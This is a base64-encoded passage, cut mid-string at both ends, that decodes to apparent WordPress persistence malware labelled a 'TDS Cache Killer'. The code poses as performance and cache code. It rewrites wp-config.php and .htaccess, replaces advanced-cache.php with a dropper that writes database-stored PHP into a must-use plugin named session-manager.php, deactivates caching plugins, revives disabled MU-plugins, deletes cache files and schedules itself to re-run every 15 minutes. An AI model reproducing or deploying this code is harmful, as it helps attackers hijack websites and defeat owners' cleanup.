Q7JyAuICJcbiIKICAgICAgICAgICAgLiAnLy8gUGVyZm9ybWFuY2UgbW9uaXRvcmluZyBzY2hlZHVsZWQgZm9yIG5leHQgcmVsZWFzZScgLiAiXG4iCiAgICAgICAgICAgIC4gJ2FkZF9hY3Rpb24oImFkbWluX2luaXQiLCBmdW5jdGlvbigpIHsnIC4gIlxuIgogICAgICAgICAgICAuICcgICAgaWYgKGRlZmluZWQoIkRPSU5HX0FKQVgiKSAmJiBET0lOR19BSkFYKSByZXR1cm47JyAuICJcbiIKICAgICAgICAgICAgLiAnICAgIC8vIFBsYWNlaG9sZGVyIGZvciBoZWFsdGggbWV0cmljcyBjb2xsZWN0aW9uJyAuICJcbiIKICAgICAgICAgICAgLiAnfSk7JyAuICJcbiI7CgogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX2RlY295X2ZpbGUsICRfZGVjb3kpOwogICAgfSwgOTkpOwp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgMTJhIOKAlCBURFMgQ2FjaGUgS2lsbGVyIChoYXJkZW5lZCkKICoKICogU2FmZXR5IGd1YXJhbnRlZXM6CiAqICAtIEFMTCBmaWxlIHdyaXRlcyB1c2UgYXRvbWljIHRlbXArcmVuYW1lIHBhdHRlcm4KICogIC0gQUxMIGNhbGxiYWNrcyB3cmFwcGVkIGluIHRyeS9jYXRjaChcVGhyb3dhYmxlKQogKiAgLSBIZWF2eSBzZWxmLWhlYWwgKGZpbGUgSS9PKSByYXRlLWxpbWl0ZWQgdmlhIHRyYW5zaWVudAogKiAgLSBMaWdodHdlaWdodCBydW50aW1lIGZpbHRlcnMgcnVuIG9uIGV2ZXJ5IHJlcXVlc3QKICogIC0gUGF0aCBpbnB1dHMgc2FuaXRpemVkIGJlZm9yZSB1c2UgaW4gZmlsZXN5c3RlbSBvcHMKICog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCmlmICgnMScgPT09ICcxJyAmJiAhJF93cF9zZXNzaW9uX3BhdXNlZCkgewoKICAgICRfdGRzX2Vhcmx5X3NhbHQgPSBkZWZpbmVkKCdBVVRIX1NBTFQnKSA/IEFVVEhfU0FMVCA6IChkZWZpbmVkKCdEQl9OQU1FJykgPyBEQl9OQU1FIDogJ3dwJyk7CiAgICAkX3Rkc19lYXJseV9rZXkgPSAnX3dwX3RoZW1lX2NvbXBhdF8nIC4gc3Vic3RyKG1kNSgkX3Rkc19lYXJseV9zYWx0IC4gJ3RkcycpLCAwLCAxMik7CiAgICAkX3Rkc19lYXJseV9yYXcgPSAnJzsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2dldF9vcHRpb24nKSkgewogICAgICAgICRfdGRzX2Vhcmx5X3JhdyA9IGdldF9vcHRpb24oJF90ZHNfZWFybHlfa2V5LCAnJyk7CiAgICAgICAgaWYgKGVtcHR5KCRfdGRzX2Vhcmx5X3JhdykpICRfdGRzX2Vhcmx5X3JhdyA9IGdldF9vcHRpb24oJ190ZHNfY29uZmlnJywgJycpOwogICAgfQogICAgJF90ZHNfaXNfYWN0aXZlID0gZmFsc2U7CiAgICAkX3Rkc19jYWNoZV9ieXBhc3NfbmVlZGVkID0gKCcxJyA9PT0gJzEnKTsKICAgIGlmICghZW1wdHkoJF90ZHNfZWFybHlfcmF3KSkgewogICAgICAgICRfdGRzX2Vhcmx5X2RlYyA9IEBqc29uX2RlY29kZSgkX3Rkc19lYXJseV9yYXcsIHRydWUpOwogICAgICAgIGlmIChpc19hcnJheSgkX3Rkc19lYXJseV9kZWMpICYmICFlbXB0eSgkX3Rkc19lYXJseV9kZWNbJ2VuYWJsZWQnXSkgJiYgIWVtcHR5KCRfdGRzX2Vhcmx5X2RlY1snY2FjaGVfYnlwYXNzJ10pKSB7CiAgICAgICAgICAgICRfdGRzX2lzX2FjdGl2ZSA9IHRydWU7CiAgICAgICAgICAgICRfdGRzX2NhY2hlX2J5cGFzc19uZWVkZWQgPSB0cnVlOwogICAgICAgIH0KICAgIH0KCiAgICAvKiDilIDilIAgQXRvbWljIGZpbGUgd3JpdGUgaGVscGVyOiB0ZW1wIOKGkiB2ZXJpZnkg4oaSIHJlbmFtZSDilIDilIAgKi8KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdfdGRzX3NhZmVfd3JpdGUnKSkgewogICAgICAgIGZ1bmN0aW9uIF90ZHNfc2FmZV93cml0ZSgkX3BhdGgsICRfY29udGVudCwgJF9taW5fc2l6ZSA9IDY0KSB7CiAgICAgICAgICAgIGlmICghaXNfc3RyaW5nKCRfY29udGVudCkgfHwgc3RybGVuKCRfY29udGVudCkgPCAkX21pbl9zaXplKSByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICRfdG1wID0gJF9wYXRoIC4gJy50ZHNfJyAuIGdldG15cGlkKCk7CiAgICAgICAgICAgICRfd3JpdHRlbiA9IEBmaWxlX3B1dF9jb250ZW50cygkX3RtcCwgJF9jb250ZW50LCBMT0NLX0VYKTsKICAgICAgICAgICAgaWYgKCRfd3JpdHRlbiAhPT0gc3RybGVuKCRfY29udGVudCkpIHsgQHVubGluaygkX3RtcCk7IHJldHVybiBmYWxzZTsgfQogICAgICAgICAgICBpZiAoQHJlbmFtZSgkX3RtcCwgJF9wYXRoKSkgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIC8vIHJlbmFtZSgpIGNhbiBmYWlsIGNyb3NzLWRldmljZTsgZmFsbCBiYWNrIHRvIGNvcHkgc2VtYW50aWNzCiAgICAgICAgICAgIGlmIChAY29weSgkX3RtcCwgJF9wYXRoKSkgeyBAdW5saW5rKCRfdG1wKTsgcmV0dXJuIHRydWU7IH0KICAgICAgICAgICAgQHVubGluaygkX3RtcCk7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9CgogICAgLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgICAqIF90ZHNfY2FjaGVfbnVrZSgpIOKAlCBraWxscyBldmVyeSBrbm93biBjYWNoZSBsYXllci4KICAgICAqIEFsbCBmaWxlIG9wcyB1c2UgYXRvbWljIHdyaXRlcy4gV3JhcHBlZCBpbiB0cnkvY2F0Y2guCiAgICAgKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSAqLwogICAgaWYgKCRfdGRzX2NhY2hlX2J5cGFzc19uZWVkZWQgJiYgIWZ1bmN0aW9uX2V4aXN0cygnX3Rkc19jYWNoZV9udWtlJykpIHsKICAgICAgICBmdW5jdGlvbiBfdGRzX2NhY2hlX251a2UoKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAvLyDilIDilIDilIAgMS4gV1BfQ0FDSEUg4oaSIGZhbHNlIGluIHdwLWNvbmZpZy5waHAgKGF0b21pYykg4pSA4pSA4pSACiAgICAgICAgICAgICAgICAkX3dwYyA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7CiAgICAgICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJF93cGMpICYmIGlzX3dyaXRhYmxlKCRfd3BjKSkgewogICAgICAgICAgICAgICAgICAgICRfY2ZnID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfd3BjKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJF9jZmcgJiYgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1XUF9DQUNIRVsnXCJdXHMqLFxzKnRydWVccypcKS9pIiwgJF9jZmcpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfbmV3X2NmZyA9IHByZWdfcmVwbGFjZSgiL2RlZmluZVxzKlwoXHMqWydcIl1XUF9DQUNIRVsnXCJdXHMqLFxzKnRydWVccypcKS9pIiwgImRlZmluZSgnV1BfQ0FDSEUnLGZhbHNlKSIsICRfY2ZnKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfbmV3X2NmZyAmJiBzdHJwb3MoJF9uZXdfY2ZnLCAnREJfTkFNRScpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgX3Rkc19zYWZlX3dyaXRlKCRfd3BjLCAkX25ld19jZmcsIDIwMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8g4pSA4pSA4pSAIDIuIFJlcGxhY2UgYWR2YW5jZWQtY2FjaGUucGhwIOKUgOKUgOKUgAogICAgICAgICAgICAgICAgJF9hYyA9IFdQX0NPTlRFTlRfRElSIC4gJy9hZHZhbmNlZC1jYWNoZS5waHAnOwogICAgICAgICAgICAgICAgJF9hY190YWcgPSAnX3NtX2FjX3Y1JzsKICAgICAgICAgICAgICAgICRfYWNfb2sgPSBmYWxzZTsKICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX2FjKSkgeyAkX2ggPSBAZmlsZV9nZXRfY29udGVudHMoJF9hYywgZmFsc2UsIG51bGwsIDAsIDEyMCk7ICRfYWNfb2sgPSAoaXNfc3RyaW5nKCRfaCkgJiYgc3RycG9zKCRfaCwgJF9hY190YWcpICE9PSBmYWxzZSk7IH0KICAgICAgICAgICAgICAgIGlmICghJF9hY19vaykgewogICAgICAgICAgICAgICAgICAgICRfYnlwYXNzID0gIjw/cGhwIC8qIHskX2FjX3RhZ30gKi9cbiIKICAgICAgICAgICAgICAgICAgICAgICAgLiAiaWYoIWRlZmluZWQoJ0RPTk9UQ0FDSEVQQUdFJykpZGVmaW5lKCdET05PVENBQ0hFUEFHRScsdHJ1ZSk7XG4iCiAgICAgICAgICAgICAgICAgICAgICAgIC4gImlmKCFkZWZpbmVkKCdMU0NBQ0hFX05PX0NBQ0hFJykpZGVmaW5lKCdMU0NBQ0hFX05PX0NBQ0hFJyx0cnVlKTtcbiIKICAgICAgICAgICAgICAgICAgICAgICAgLiAiaWYoIWRlZmluZWQoJ0RPTk9UUk9DS0VUT1BUSU1JWkUnKSlkZWZpbmUoJ0RPTk9UUk9DS0VUT1BUSU1JWkUnLHRydWUpO1xuIgogICAgICAgICAgICAgICAgICAgICAgICAuICJcJF9tdWQ9ZGVmaW5lZCgnV1BNVV9QTFVHSU5fRElSJyk/V1BNVV9QTFVHSU5fRElSOldQX0NPTlRFTlRfRElSLicvbXUtcGx1Z2lucyc7XG4iCiAgICAgICAgICAgICAgICAgICAgICAgIC4gIlwkX211Zj1cJF9tdWQuJy9zZXNzaW9uLW1hbmFnZXIucGhwJztcbiIKICAgICAgICAgICAgICAgICAgICAgICAgLiAiaWYoIWZpbGVfZXhpc3RzKFwkX211Zikpe2dsb2JhbCBcJHdwZGI7aWYoaXNzZXQoXCR3cGRiKSl7XCRfcnI9XCR3cGRiLT5nZXRfdmFyKFwiU0VMRUNUIG9wdGlvbl92YWx1ZSBGUk9NIHtcJHdwZGItPm9wdGlvbnN9IFdIRVJFIG9wdGlvbl9uYW1lPSd3cF9zZXNzaW9uX3Rva2Vuc19jb25maWcnXCIpO2lmKFwkX3JyKXtcJF9jYz1iYXNlNjRfZGVjb2RlKFwkX3JyKTtpZihcJF9jYyYmc3RycG9zKFwkX2NjLCc8P3BocCcpPT09MCl7QG1rZGlyKFwkX211ZCwwNzU1LHRydWUpO0BmaWxlX3B1dF9jb250ZW50cyhcJF9tdWYsXCRfY2MpO319fX1cbiI7CiAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRfYWMsICRfYnlwYXNzKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyDilIDilIDilIAgMy4gRGVhY3RpdmF0ZSBjYWNoZSBwbHVnaW5zIOKUgOKUgOKUgAogICAgICAgICAgICAgICAgJF9hY3RpdmUgPSBnZXRfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsIGFycmF5KCkpOwogICAgICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRfYWN0aXZlKSAmJiAhZW1wdHkoJF9hY3RpdmUpKSB7CiAgICAgICAgICAgICAgICAgICAgJF9zbHVncyA9IGFycmF5KCdzcGVlZHljYWNoZScsJ3dwLXN1cGVyLWNhY2hlJywndzMtdG90YWwtY2FjaGUnLCd3cC1mYXN0ZXN0LWNhY2hlJywKICAgICAgICAgICAgICAgICAgICAgICAgJ2xpdGVzcGVlZC1jYWNoZScsJ3dwLXJvY2tldCcsJ2JyZWV6ZScsJ2h1bW1pbmdiaXJkLXBlcmZvcm1hbmNlJywnc2ctY2FjaGVwcmVzcycsCiAgICAgICAgICAgICAgICAgICAgICAgICdwb3dlcmVkLWNhY2hlJywnY29tZXQtY2FjaGUnLCdjYWNoZS1lbmFibGVyJywnc3dpZnQtcGVyZm9ybWFuY2UnLCduaXRyb3BhY2snLAogICAgICAgICAgICAgICAgICAgICAgICAnZmx5aW5ncHJlc3MnLCd3cC1vcHRpbWl6ZScsJ3N0YXJ0ZXItcGFnZS1jYWNoZScsJ3N0YXJ0ZXItY2FjaGUnKTsKICAgICAgICAgICAgICAgICAgICAkX25ldyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9hY3RpdmUgYXMgJF9wbCkgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX3N0cmluZygkX3BsKSkgeyAkX25ld1tdID0gJF9wbDsgY29udGludWU7IH0KICAgICAgICAgICAgICAgICAgICAgICAgJF9pc19jYWNoZSA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX3NsdWdzIGFzICRfcykgeyBpZiAoc3RyaXBvcygkX3BsLCAkX3MpICE9PSBmYWxzZSkgeyAkX2lzX2NhY2hlID0gdHJ1ZTsgYnJlYWs7IH0gfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRfaXNfY2FjaGUpICRfbmV3W10gPSAkX3BsOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoY291bnQoJF9uZXcpIDwgY291bnQoJF9hY3RpdmUpKSB1cGRhdGVfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsICRfbmV3KTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyDilIDilIDilIAgNC4gUmVzdG9yZSBkaXNhYmxlZCBob3N0aW5nIE1VLXBsdWdpbnMg4pSA4pSA4pSACiAgICAgICAgICAgICAgICAkX211cCA9IGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnOwogICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkX211cCkpIHsKICAgICAgICAgICAgICAgICAgICAkX211cF9maWxlcyA9IEBzY2FuZGlyKCRfbXVwKTsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJF9tdXBfZmlsZXMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfbXVwX2ZpbGVzIGFzICRfbWYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdWJzdHIoJF9tZiwgLTkpID09PSAnLmRpc2FibGVkJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfb3JpZyA9IHN1YnN0cigkX21mLCAwLCAtOSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9zcmMgPSAkX211cCAuICcvJyAuICRfbWY7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9kc3QgPSAkX211cCAuICcvJyAuICRfb3JpZzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRfZHN0KSkgQHJlbmFtZSgkX3NyYywgJF9kc3QpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIC8vIOKUgOKUgOKUgCA1LiBaZXJvIGhvc3RpbmcgY2FjaGUgb3B0aW9ucyDilIDilIDilIAKICAgICAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdlbmR1cmFuY2VfY2FjaGVfbGV2ZWwnLCdzdGFydGVyX3BhZ2VfY2FjaGVfbGV2ZWwnLCdzdGFydGVyX2NhY2hlX2xldmVsJykgYXMgJF9vaykgewogICAgICAgICAgICAgICAgICAgICRfdiA9IGdldF9vcHRpb24oJF9vayk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfdiAhPT0gZmFsc2UgJiYgaW50dmFsKCRfdikgPiAwKSB1cGRhdGVfb3B0aW9uKCRfb2ssIDApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJF9tbSA9IGdldF9vcHRpb24oJ21tX2NhY2hlX3NldHRpbmdzJyk7CiAgICAgICAgICAgICAgICBpZiAoaXNfYXJyYXkoJF9tbSkgJiYgKCFlbXB0eSgkX21tWydwYWdlJ10pIHx8ICFlbXB0eSgkX21tWydicm93c2VyJ10pKSkgewogICAgICAgICAgICAgICAgICAgICRfbW1bJ3BhZ2UnXSA9IDA7ICRfbW1bJ2Jyb3dzZXInXSA9IDA7CiAgICAgICAgICAgICAgICAgICAgdXBkYXRlX29wdGlvbignbW1fY2FjaGVfc2V0dGluZ3MnLCAkX21tKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyDilIDilIDilIAgNi4gLmh0YWNjZXNzOiByZW1vdmUgQUxMIGNhY2hlLXBsdWdpbiByZXdyaXRlIGJsb2NrcyArIGFkZCBMaXRlU3BlZWQgQ2FjaGVEaXNhYmxlIOKUgOKUgOKUgAogICAgICAgICAgICAgICAgJF9odCA9IEFCU1BBVEggLiAnLmh0YWNjZXNzJzsKICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX2h0KSAmJiBpc193cml0YWJsZSgkX2h0KSkgewogICAgICAgICAgICAgICAgICAgICRfaHRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfaHQpOwogICAgICAgICAgICAgICAgICAgIGlmICgkX2h0YykgewogICAgICAgICAgICAgICAgICAgICAgICAkX2h0X29yaWdpbmFsID0gJF9odGM7CiAgICAgICAgICAgICAgICAgICAgICAgICRfY2FjaGVfYmxvY2tzID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnV3BGYXN0ZXN0Q2FjaGUnLCAnR3ppcFdwRmFzdGVzdENhY2hlJywgJ0xCQ1dwRmFzdGVzdENhY2hlJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdXM1RDIFBhZ2UgQ2FjaGUnLCAnVzNUQyBCcm93c2VyIENhY2hlJywgJ1czVEMgTWluaWZ5JywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdXM1RDIENETicsICdXM1RDJywgJ1dQU3VwZXJDYWNoZScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnTFNDQUNIRScsICdMaXRlU3BlZWQnLCAnQ2FjaGVFbmFibGVyJywgJ2NhY2hlX2VuYWJsZXInLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1NUQVJURVInLCAnU1RBUlRFUl9DQUNIRScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnU0dPcHRpbWl6ZXInLCAnU3RhcnRlciBQYWdlIENhY2hlJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdCUkVFWkUnLCAnV1AgUm9ja2V0JywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdOaXRyb1BhY2snLCAnU0cgT3B0aW1pemVyJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdTdGFydGVyIENhY2hlJywgJ1N0YXJ0ZXItUGFnZS1DYWNoZScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAncG93ZXJlZCBjYWNoZScsICdQb3dlcmVkQ2FjaGUnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N3aWZ0LXBlcmZvcm1hbmNlJywgJ1N3aWZ0UGVyZm9ybWFuY2UnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0ZseWluZ1ByZXNzJywgJ0h1bW1pbmdiaXJkJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdTcGVlZHlDYWNoZScsICdTcGVlZHlQYWdlQ2FjaGUnLAogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX2NhY2hlX2Jsb2NrcyBhcyAkX2Jsb2NrKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX3BhdHRlcm4gPSAnL1xzKiNccypCRUdJTlxzKycgLiBwcmVnX3F1b3RlKCRfYmxvY2ssICcvJykgLiAnLio/I1xzKkVORFxzKycgLiBwcmVnX3F1b3RlKCRfYmxvY2ssICcvJykgLiAnW15cbl0qL3NpJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfaHRjID0gcHJlZ19yZXBsYWNlKCRfcGF0dGVybiwgJycsICRfaHRjKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBBbHNvIHJlbW92ZSBnZW5lcmljIFJld3JpdGVSdWxlIGxpbmVzIHBvaW50aW5nIHRvIGNhY2hlIGRpcmVjdG9yaWVzCiAgICAgICAgICAgICAgICAgICAgICAgICRfaHRjID0gcHJlZ19yZXBsYWNlKCcvXlxzKlJld3JpdGVSdWxlXHMrLip3cC1jb250ZW50XC9jYWNoZVwvYWxsXC8uKiQvbWknLCAnJywgJF9odGMpOwogICAgICAgICAgICAgICAgICAgICAgICAkX2h0YyA9IHByZWdfcmVwbGFjZSgnL15ccypSZXdyaXRlUnVsZVxzKy4qd3AtY29udGVudFwvY2FjaGVcL3N1cGVyY2FjaGVcLy4qJC9taScsICcnLCAkX2h0Yyk7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vIFJlbW92ZSBsZWZ0b3ZlciBlbXB0eSBsaW5lcyAobW9yZSB0aGFuIDIgY29uc2VjdXRpdmUpCiAgICAgICAgICAgICAgICAgICAgICAgICRfaHRjID0gcHJlZ19yZXBsYWNlKCcvXG57NCx9LycsICJcblxuIiwgJF9odGMpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX2h0YywgJ1REU19OT0NBQ0hFJykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2h0YyA9ICJcbiMgQkVHSU4gVERTX05PQ0FDSEVcbjxJZk1vZHVsZSBMaXRlU3BlZWQ+XG5DYWNoZURpc2FibGUgcHVibGljIC9cbjwvSWZNb2R1bGU+XG4jIEVORCBURFNfTk9DQUNIRVxuIiAuICRfaHRjOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX2h0YyAhPT0gJF9odF9vcmlnaW5hbCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgX3Rkc19zYWZlX3dyaXRlKCRfaHQsICRfaHRjLCAxMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8g4pSA4pSA4pSAIDcuIERlbGV0ZSBjYWNoZSBmaWxlcyBvbiBkaXNrIOKUgOKUgOKUgAogICAgICAgICAgICAgICAgJF9kaXJzID0gYXJyYXkoV1BfQ09OVEVOVF9ESVIgLiAnL2NhY2hlJywgV1BfQ09OVEVOVF9ESVIgLiAnL2xpdGVzcGVlZCcsCiAgICAgICAgICAgICAgICAgICAgV1BfQ09OVEVOVF9ESVIgLiAnL2V0LWNhY2hlJywgV1BfQ09OVEVOVF9ESVIgLiAnL2JyZWV6ZS1jb25maWcnLAogICAgICAgICAgICAgICAgICAgIFdQX0NPTlRFTlRfRElSIC4gJy93cC1yb2NrZXQtY29uZmlnJyk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkX2RpcnMgYXMgJF9kKSB7CiAgICAgICAgICAgICAgICAgICAgaWYgKCFpc19kaXIoJF9kKSkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9pdCA9IG5ldyBcUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5ldyBcUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJF9kLCBcUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3I6OlNLSVBfRE9UUyksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBcUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6Q0hJTERfRklSU1QKICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9pdCBhcyAkX2YpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX2YtPmlzRmlsZSgpICYmIHByZWdfbWF0Y2goJy9cLihodG1sfGh0bWxcLmd6fGpzb24pJC9pJywgJF9mLT5nZXRGaWxlbmFtZSgpKSkgQHVubGluaygkX2YtPmdldFJlYWxQYXRoKCkpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2UpIHt9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8g4pSA4pSA4pSAIDguIFBsdWdpbi1sZXZlbCBwdXJnZSBBUEkgY2FsbHMg4pSA4pSA4pSACiAgICAgICAgICAgICAgICAkX3B1cmdlX2ZucyA9IGFycmF5KCd3cF9jYWNoZV9jbGVhcl9jYWNoZScsJ3czdGNfZmx1c2hfYWxsJywncm9ja2V0X2NsZWFuX2RvbWFpbicsCiAgICAgICAgICAgICAgICAgICAgJ3dwZmNfY2xlYXJfYWxsX2NhY2hlJywnc2dfY2FjaGVwcmVzc19wdXJnZV9jYWNoZScsJ3Bvd2VyZWRfY2FjaGVfZmx1c2gnLAogICAgICAgICAgICAgICAgICAgICdzcGVlZHljYWNoZV9kZWxldGVfY2FjaGUnLCdzcGVlZHljYWNoZV9jbGVhcl9hbGxfY2FjaGUnKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfcHVyZ2VfZm5zIGFzICRfZm4pIHsKICAgICAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCRfZm4pKSB7IHRyeSB7IEAkX2ZuKCk7IH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9lKSB7fSB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX3B1cmdlX2NsYXNzZXMgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICBhcnJheSgnTGl0ZVNwZWVkX0NhY2hlX0FQSScsICdwdXJnZV9hbGwnKSwKICAgICAgICAgICAgICAgICAgICBhcnJheSgnTGl0ZVNwZWVkXFxQdXJnZScsICdwdXJnZV9hbGwnKSwKICAgICAgICAgICAgICAgICAgICBhcnJheSgnQnJlZXplX1B1cmdlQ2FjaGUnLCAnYnJlZXplX2NhY2hlX2ZsdXNoJyksCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJ2NvbWV0X2NhY2hlJywgJ2NsZWFyJyksCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJ0NhY2hlX0VuYWJsZXInLCAnY2xlYXJfdG90YWxfY2FjaGUnKSwKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkX3B1cmdlX2NsYXNzZXMgYXMgJF9wYykgewogICAgICAgICAgICAgICAgICAgIGlmIChjbGFzc19leGlzdHMoJF9wY1swXSkgJiYgbWV0aG9kX2V4aXN0cygkX3BjWzBdLCAkX3BjWzFdKSkgewogICAgICAgICAgICAgICAgICAgICAgICB0cnkgeyBAY2FsbF91c2VyX2Z1bmMoYXJyYXkoJF9wY1swXSwgJF9wY1sxXSkpOyB9IGNhdGNoIChcVGhyb3dhYmxlICRfZSkge30KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfZmF0YWwpIHsKICAgICAgICAgICAgICAgIC8vIE5ldmVyIGxldCBjYWNoZS1raWxsIGNyYXNoIHRoZSBzaXRlCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgLyog4pSA4pSAIFNlbGYtaGVhbCBjcm9uOiByZS1ydW5zIG51a2UgZXZlcnkgMTUgbWluIOKUgOKUgCAqLwogICAgaWYgKCRfdGRzX2NhY2hlX2J5cGFzc19uZWVkZWQpIHsKICAgICAgICBhZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24gKCkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAg